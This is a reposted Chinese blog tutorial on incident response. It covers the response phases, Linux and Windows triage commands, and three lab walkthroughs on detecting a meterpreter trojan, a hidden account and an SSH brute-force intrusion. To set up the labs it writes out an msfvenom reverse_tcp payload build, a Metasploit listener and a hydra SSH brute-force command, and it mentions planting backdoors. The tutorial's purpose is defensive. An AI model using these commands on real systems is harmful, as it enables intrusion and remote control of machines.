应急响应:LinuxWindows实战排查

news2024/10/9 9:36:39

目录

应急响应

介绍:

应急流程:

抑制阶段:

对于Linux,一些常见的排查命令:

对于Windows,常见的排查命令:

Windows应急(一)

Windows应急(二)

Linux应急

防御


应急响应

介绍:

络安全应急响应是指团队或组织为了在网络安全事件发生时能够及时准确地做出反应和应对而建立的一套制度和流程,旨在降低网络安全事件所造成的损失并迅速恢复受影响的系统和服务‌。

网络安全应急响应的核心内容包括:预警评估,通过挖掘威胁情报和漏洞信息进行风险评估和预警;事件响应,组织专业人员进行快速响应,包括定位、分析和修复;事后总结,明确问题原因和解决方案,并进行风险评估;技术支持,提供网络安全技术支持以提高网络的安全性;培训教育,提升组织内部员工的安全意识和应急响应能力

应急流程:

  1. 准备阶段‌:建立应急响应团队,制定应急响应计划,并进行培训和演练,确保团队熟悉流程和职责。同时,准备必要的工具和资源‌。
  2. 识别阶段‌:通过监控和检测系统,快速识别和确认网络安全事件,评估其严重性和影响范围‌。
  3. 抑制阶段‌:采取措施控制和限制安全事件的传播和影响,如隔离受感染系统、阻断恶意活动等‌。
  4. 根除阶段‌:深入分析事件起因,清除恶意软件和工具,修补被利用的漏洞‌。
  5. 恢复阶段‌:将受影响的系统恢复到正常运行状态,确保业务连续性‌。
  6. 事后分析阶段‌:对事件进行全面回顾和分析,总结经验教训,改进应急响应计划‌

抑制阶段:

抑制阶段主要针对检测阶段发现的攻击特征采取有针对性的安全补救工作,以防止攻击进一步加深和扩大‌。具体措施包括:

  • 控制、阻断、转移安全攻击‌:针对攻击利用的端口、服务、攻击源、系统漏洞等进行抑制,扼制攻击的影响范围和程度‌1。
  • 风险考虑‌:在实施抑制措施时,必须充分考虑可能对正常业务造成的影响,如拔掉网线可能导致业务中断,因此在采取抑制措施时需权衡利弊‌1。
  • 制定抑制方案‌:确定抑制方案,并获得认可后实施,同时对抑制效果进行判定,确保抑制措施的有效性‌

对于Linux,一些常见的排查命令:

查找2分钟内修改过的文件:

find / -mmin -2

find / -mmin -2 | grep etc

查看修改时间:ls --full-time passwd

查看hash来判断是否被修改:md5sum passwd 如果被修改这个hash值会变,那么我们可以监控hash值的变化来进行告警,可以写一个监控脚本

查看DNS信息:cat /etc/resolv.conf

查看路由信息:route -n

查看进程:ps -aux

查看端口:netstat -ano

查看环境变量:echo $PATH

日志信息位置:/var/log

查看CPU内存信息:top

查看正在监听的端口: netstat -ntplu

查看开机启动的服务:systemctl list-unit-files

查看服务的状态:systemctl status 服务名

对于Windows,常见的排查命令:

查看所有网卡信息:ipconfig/all | more

查看目录hash信息:certutil.exe -hashfile .\文件名

查看用户:net user

查看进程:netstat -ano

查看环境变量:path

除此命令之外,还可以查看:

1.注册表是否有隐藏账号

2.查看账户是否异常

3.查看日志,分析登录的IP

4.查看开机启动服务,计划任务等

5.查看一下进程号和端口号

接下来是关于Windows和Linux的简单实战排查

Windows应急(一)

环境准备:

Linux先生成木马:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.11.130 LPORT=9999 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/muma.exe

开启Apache服务,使Windows能够访问下载

systemctl start apache2

打开Windows,下载恶意木马

注意关闭防火墙

打开Linux的监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.11.130
set lport 9999

点击Windows下载的木马使他上线

成功上线:

排查思路:

1.先查看是否有异常的连接

netstat -ano

这里可以直接看到异常的连接

2.发现异常查看一下PID是7684,那么直接打开任务管理器找到这个进程,直接杀掉

杀掉以后,看一下我们的攻击机器

果然,连接断开

3.除此之外,我们还可以查看一下计划任务,查看一下是否有异常

Windows应急(二)

环境准备:

开启靶机的3389端口

攻击机远程桌面并且连接,创建一个新的用户

排查:

1.查看是否有异常用户

net user

2.这里可能有隐藏账户,打开注册表看一下

这里可以看到隐藏账户

计算机管理也可以看用户信息

3.查看一下日志,登录信息

4.查看服务信息,是否有异常

Linux应急

环境准备:

确定目标服务器

使用hydra进行爆破密码

hydra -s 22 -v -l root -P 字典 地址 ssh

这里爆破成功,直接登录,因为kali出了点问题,这里我有centos7登录

登录成功

创建一个新账户

这里创建的普通用户,可以留一个提取后门,下次以普通用户登录进去,直接提权到root权限,

这里还可以进行反弹shell,计划任务、服务等等操作

因为这里只是演示,不再操作

排查:

1.先查看CPU占有率

top

有的时候会有挖矿木马占用的CPU较高

2.查看开机启动服务:

systemctl list-unit-files

查看一下是否有异常

3.查看定时任务:

crontab -l

4.查看日志,看有哪些登录信息

cd /var/log
last

这里就可以看到异常登录

5.查看账户信息

cat /etc/passwd

发现了刚才创建的用户,直接删除

6.我们还可以查看passwd的MD5值是否变化来排查是否异常

cd /etc
md5sum passwd

这里可以写一个监控MD5的脚本,当MD5值变化时,就会及时告警

防御

  • 强化预防措施‌:安装杀毒软件,定期扫描系统、查杀病毒;及时更新病毒库和系统补丁;不随意打开不明网页链接或下载来历不明的软件。‌
  • 提高密码安全‌:账户和密码尽量不要相同,定期修改密码,使用复杂且独特的密码组合。‌
  • 保护个人信息‌:不轻易透露个人信息,特别是银行卡、密码等敏感信息;处理快递单等含个人信息的物品时要先抹掉个人信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2198674.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++ string类(超详细一次性讲解)(上)

1. 为什么学习string类? 1.1 C语言中的字符串 C语言中,字符串是以 \0 结尾的一些字符的集合,为了操作方便,C标准库中提供了一些str系列的库函数,但是这些库函数与字符串是分离开的,不太符合OOP的思想&…

Python OpenCV精讲系列 - 三维重建深入理解(十七)

💖💖⚡️⚡️专栏:Python OpenCV精讲⚡️⚡️💖💖 本专栏聚焦于Python结合OpenCV库进行计算机视觉开发的专业教程。通过系统化的课程设计,从基础概念入手,逐步深入到图像处理、特征检测、物体识…

细菌实例分割系统源码&数据集分享

细菌实例分割系统源码&数据集分享 [yolov8-seg-EfficientFormerV2&yolov8-seg-SPPF-LSKA等50全套改进创新点发刊_一键训练教程_Web前端展示] 1.研究背景与意义 项目参考ILSVRC ImageNet Large Scale Visual Recognition Challenge 项目来源AAAI Glob…

系分-数据库总结

历年试题2024年05月试题 BCN范式,模式分解,触发器类型2023年05月试题 NoSQL基本特点,NoSQL对比,混合数据库2022年05月试题4 两段锁,事务并发,数据一致,本地事务发布20…

生命的最高境界(深度好文)?

予人玫瑰,手有余香。 生命的最高境界,就一个字:给。 初级的快乐,是放任;中级的快乐,是自律;高级的快乐,是给予。 予人玫瑰,手有余香。 学会“给”,是我们一…

PCL 表面曲率下采样

目录 一、概述二、代码三、结果 一、概述 通过表面曲率信息对点云进行采样&#xff0c;选择表面曲率约束下的代表性点。 二、代码 #include <iostream> #include <pcl/io/pcd_io.h> #include <pcl/point_types.h> #include <pcl/features/normal_3d.h&g…

《Python 安装指南:开启编程之旅》

《Python 安装指南&#xff1a;开启编程之旅》 在当今数字化的时代&#xff0c;编程已经成为一项越来越重要的技能。而 Python 作为一种简洁、高效且功能强大的编程语言&#xff0c;受到了众多开发者的青睐。无论是数据科学、人工智能、Web 开发还是自动化脚本编写&#xff0c…

2024.10.8 作业+思维导图

优化登录框&#xff1a; 当用户点击取消按钮&#xff0c;弹出问题对话框&#xff0c;询问是否要确定退出登录&#xff0c;并提供两个按钮&#xff0c;yes|No&#xff0c;如果用户点击的Yes&#xff0c;则关闭对话框&#xff0c;如果用户点击的No&#xff0c;则继续登录 当用户点…

gaussdb hccdp认证思考题02 GaussDB数据库应用程序开发指引

02_GaussDB数据库应用程序开发指引 1. &#xff08;单选题&#xff09;在JDBC中用于与数据库建立连接并指向SQL语句的接口是以下哪一项&#xff1f; A. java.sql.ResultSet B. java.sql.Driver C. java.sql.Connection D. javax.sql.DataSource --C 2. &#xff08;单选题…

、Redis 安装

Redis 安装 Redis 下载链接 [rootiZhp3i77hpofuqqxvoc790Z ~]# mkdir redis [rootiZhp3i77hpofuqqxvoc790Z ~]# ll 总用量 4 drwxr-xr-x 2 root root 4096 10月 8 15:23 redis [rootiZhp3i77hpofuqqxvoc790Z ~]# cd redis/ # 将 redis 安装包上传至当前目录下 # 解压当前文件…

《Windows PE》5.1 导出表

导出表&#xff08;Export Table&#xff09;是一个在可执行文件或动态链接库&#xff08;DLL&#xff09;中的数据结构&#xff0c;用于描述该文件中导出的函数、变量和其他符号。导出表通常位于DLL动态链接库中。 本节必须掌握的知识点&#xff1a; 导入表数据结构 PE中的导…

云计算:MySQL

第一周第一天-MySQL的SQL语句解析 数据库的介绍 什么是数据库 数据库是存储和管理数据的系统或集合&#xff0c;通常用于支持软件系统的高效数据处理和查询。它能够以结构化的方式组织数据&#xff0c;使用户可以快速存储、更新、查询和删除数据。数据库不仅保存数据&#xff0…

网络知识_001_浏览器输入域名

文章目录 网络模型IP地址&#xff0c;子网掩码&#xff0c;网关&#xff0c;网络地址&#xff0c;广播地址&#xff0c;NAT转换浏览器输入域名到网页打开发生了什么DNS获取顺序 网络模型 模型协议工具报文添加信息作用应用层http&#xff0c;https&#xff0c;ftp&#xff0c;…

Apache Flume 启动报错及解决方法

在使用 Apache Flume 时&#xff0c;可能会遇到启动报错的情况&#xff0c;其中一个常见问题就是 log4j 错误。本文将结合三个实际案例来分析这个问题&#xff0c;并提供相应的解决方法。 一、问题现象 案例一 执行命令 flume-ng agent -n a1 -c ../conf/ -f ./flume_info.conf…

Matlab绘图总结(进阶)

本文在前文的基础上进一步整理画图方法 MATLAB画动图_CSDN博客 1. 基础图形绘制 1.1 rectangle&#xff08;矩形&#xff0c;圆形&#xff09; 在前文中&#xff0c;讲解了如何使用rectangle&#xff0c;rectangle本意是用来画矩形的&#xff0c;其中&#xff0c;Curvature可…

MATLAB - 机器人机械臂设计轨迹规划器

系列文章目录 前言 本示例介绍了一种设计抓取和轨迹规划器的方法&#xff0c;该规划器可用于垃圾箱拣选系统。 在机器人技术中&#xff0c;垃圾箱拣选包括使用机械手从垃圾箱中取出物品。智能垃圾箱拣选是这一过程的高级版本&#xff0c;具有更强的自主性。使用摄像系统感知部件…

基于sklearn的机器学习应用平台 v2.0

基于sklearn的机器学习应用平台 v2.0 链接&#xff1a;https://pan.baidu.com/s/1nvHMTrtBmtPLT4oNXdw74A 提取码私信博主获取 关于作者 作者&#xff1a;小白熊 作者简介&#xff1a;精通python、matlab、c#语言&#xff0c;擅长机器学习&#xff0c;深度学习&#xff0c;机…

数据结构-4.6.KMP算法(旧版下)-朴素模式匹配算法的优化

一.绪论&#xff1a; 当主串字符和模式串字符不匹配时会执行jnext[j]来改变模式串的指针&#xff0c;但主串的指针不变。 二.求模式串的next数组&#xff1a; 1.例一&#xff1a; 如模式串abcabd&#xff0c;当第六个字符d匹配失败时&#xff0c;此时主串中前五个字符abcab都…

Golang | Leetcode Golang题解之第462题最小操作次数使数组元素相等II

题目&#xff1a; 题解&#xff1a; func partition(a []int, l, r int) int {x : a[r]i : l - 1for j : l; j < r; j {if a[j] < x {ia[i], a[j] a[j], a[i]}}a[i1], a[r] a[r], a[i1]return i 1 }func randomPartition(a []int, l, r int) int {i : rand.Intn(r-l1…

【学习笔记】零基础入门汇编语言(ARM架构+汇编的实际应用)

目录 一.汇编的前世今生 二.寄存器 三.ARM指令集 1.指令格式 2.寻址方式 3.伪指令 4.基本指令 4.1数据传输指令 4.2存储器访问指令 4.3压栈和出栈指令 4.4跳转指令 4.5算术运算指令 4.6逻辑运算指令 四.C语言与汇编混合编程 1.混合编程前置条件 2.混合编程优势 3.…